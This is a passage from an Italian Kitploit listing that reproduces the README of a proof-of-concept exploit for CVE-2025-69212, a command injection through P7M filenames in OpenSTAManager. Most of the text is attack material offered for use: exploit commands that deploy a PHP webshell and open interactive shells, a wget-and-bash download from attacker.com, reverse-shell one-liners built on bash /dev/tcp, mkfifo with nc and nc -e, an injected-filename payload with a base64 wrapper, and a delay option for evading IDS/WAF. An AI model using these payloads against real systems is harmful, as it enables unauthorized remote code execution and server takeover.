Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 e versioni precedenti contengono una vulnerabilità critica di OS Command Injection nella funzione di decodifica dei file P7M (XML firmato). | Kitploit
Strumenti/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingStrumento di Accesso RemotoSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 e versioni precedenti contengono una vulnerabilità critica di OS Command Injection nella funzione di decodifica dei file P7M (XML firmato).

Vedi Repository
311 mese faNon ancora revisionato

CVE-2025-69212

OpenSTAManager <= 2.9.8 — Iniezione di Comandi OS nell'Elaborazione di File P7M

Panoramica

CampoDettagli
CVE IDCVE-2025-69212
GravitàCRITICA (CVSS 4.0: 9.4)
CWECWE-78: Iniezione di Comandi OS
Versioni AffetteOpenSTAManager <= 2.9.8
Funzione VulnerabileXML::decodeP7M() in src/Util/XML.php
Vettore d'AttaccoNome file malevolo in archivio ZIP caricato
AutenticazioneRichiesta (qualsiasi utente con accesso all'importazione delle fatture)
ImpattoEsecuzione completa di codice remoto come utente del server web

Dettagli della Vulnerabilità

OpenSTAManager v2.9.8 e versioni precedenti contengono una vulnerabilità critica di Iniezione di Comandi OS nella funzione di decodifica dei file P7M (XML firmato). Il metodo decodeP7M() in src/Util/XML.php passa nomi di file controllati dall'utente direttamente nella funzione exec() di PHP senza sanificazione, consentendo ad attaccanti autenticati di eseguire comandi di sistema arbitrari sul server.

Causa Principale

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

Il parametro $file — che origina da nomi di file all'interno di archivi ZIP caricati — è racchiuso tra virgolette ma mai sanificato con escapeshellarg(). Un attaccante può creare un nome file .p7m che esce dal contesto delle virgolette e inietta comandi shell arbitrari.

Punti di Ingresso

  1. plugins/importFE_ZIP/actions.php:126 — Vettore primario durante l'elaborazione di upload ZIP contenenti fatture elettroniche
  2. plugins/importFE/src/FatturaElettronica.php:56 — Costruttore che elabora singoli file .p7m

Funzionalità

Installazione

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

Utilizzo

Autenticazione

root@kitploit:~
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

Verifica della Vulnerabilità

root@kitploit:~
# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check

# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

Distribuzione della Webshell

root@kitploit:~
# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

RCE Interattivo

root@kitploit:~
# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce

# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

Reverse Shell

root@kitploit:~
# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

Esecuzione Cieca di Comandi

root@kitploit:~
# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

Opzioni di Rete

root@kitploit:~
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Riferimento Completo alle Opzioni

root@kitploit:~
Target:
  -t, --target           URL base del target

Autenticazione:
  -u, --user             Nome utente per il login
  -p, --password         Password per il login
  -c, --cookie           Valore PHPSESSID esistente

Azioni:
  --check                Verifica se il target è vulnerabile
  --webshell             Distribuisce webshell PHP
  --rce                  Shell interattiva tramite webshell
  --reverse-shell        Reverse shell (LHOST LPORT)
  --cmd COMMAND          Esecuzione cieca di comandi

Opzioni Shell:
  --shell-dir DIR        Directory di scrittura webshell (default: files)
  --shell-name NAME      Nome file webshell personalizzato
  --method METHOD        Metodo reverse shell: bash, python, nc, nc-e

Rilevamento Plugin:
  --module-id ID         ID modulo OpenSTAManager
  --plugin-id ID         ID plugin importFE_ZIP

Rete:
  --proxy URL            URL proxy HTTP
  -k, --no-ssl-verify    Disabilita verifica SSL
  --delay SECONDS        Ritardo tra le richieste

Dettagli Tecnici

Struttura del Payload

L'exploit crea un archivio ZIP contenente un singolo file .p7m con un nome file malevolo:

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

Quando OpenSTAManager elabora questo file, la chiamata exec() risultante diventa:

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

La shell interpreta i punti e virgola come separatori di comandi, eseguendo il comando iniettato tra la chiamata openssl terminata e il successivo echo.

Vincolo sul Nome File di ZipArchive

Critico: Il metodo ZipArchive::extractTo() di PHP tratta le barre (/) nei nomi file come separatori di directory secondo la specifica ZIP. Qualsiasi / nel nome file malevolo causerà la suddivisione dell'entry dell'archivio in directory, rompendo il payload dell'exploit.

Tutti i comandi iniettati devono evitare completamente /. Per bypassare completamente questa restrizione e impedire che exec() di PHP si blocchi (cosa che può occupare i worker del server e causare timeout), l'exploit ora avvolge automaticamente i payload in Base64 e li esegue in background:

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Metodi di Reverse Shell

Il metodo bash è ora il predefinito poiché è il metodo più affidabile e nativo sui target Linux.

Percorso del Codice Vulnerabile

root@kitploit:~
Caricamento ZIP tramite plugin importFE_ZIP
    └── actions.php smista al gestore del plugin
        └── ZipArchive::extractTo() estrae i file
            └── Itera sui file .p7m
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── La shell interpreta i comandi iniettati

Esempio di Catena di Attacco

root@kitploit:~
1. --check             → Conferma RCE tramite file marker
2. --webshell          → Scarica shell PHP nella directory files/
3. --rce               → Esecuzione interattiva di comandi
4. Enumerazione           → id, cat /etc/passwd, ifconfig
5. Pivot               → Reverse shell verso l'attaccante, post-sfruttamento

Dichiarazione di Non Responsabilità

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima dei test. L'autore non si assume alcuna responsabilità per un uso improprio.

Riferimenti

  • CVE-2025-69212 (NVD)
  • GitHub Security Advisory — GHSA-25fp-8w8p-mx36
  • Repository OpenSTAManager
  • PoC di Lukasz Rybak
Scarica lo strumento
FunzionalitàDescrizione
--checkVerifica se il target è vulnerabile (crea e controlla un file marker)
--webshellDistribuisce una webshell PHP tramite iniezione di comandi OS
--rceEsecuzione interattiva di comandi tramite webshell distribuita
--reverse-shellAttiva una reverse shell (metodi python, nc, nc-e)
--cmdEsecuzione cieca di comandi (fire-and-forget)
--shell-dirDirectory personalizzata per la scrittura della webshell
--methodSelezione del metodo di reverse shell
--proxySupporto proxy HTTP (Burp Suite)
--delayLimitazione delle richieste per elusione IDS/WAF
Rilevamento automaticoScoperta automatica degli ID del modulo/plugin importFE_ZIP
MetodoPayloadRichiede
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bashnetcat con supporto -e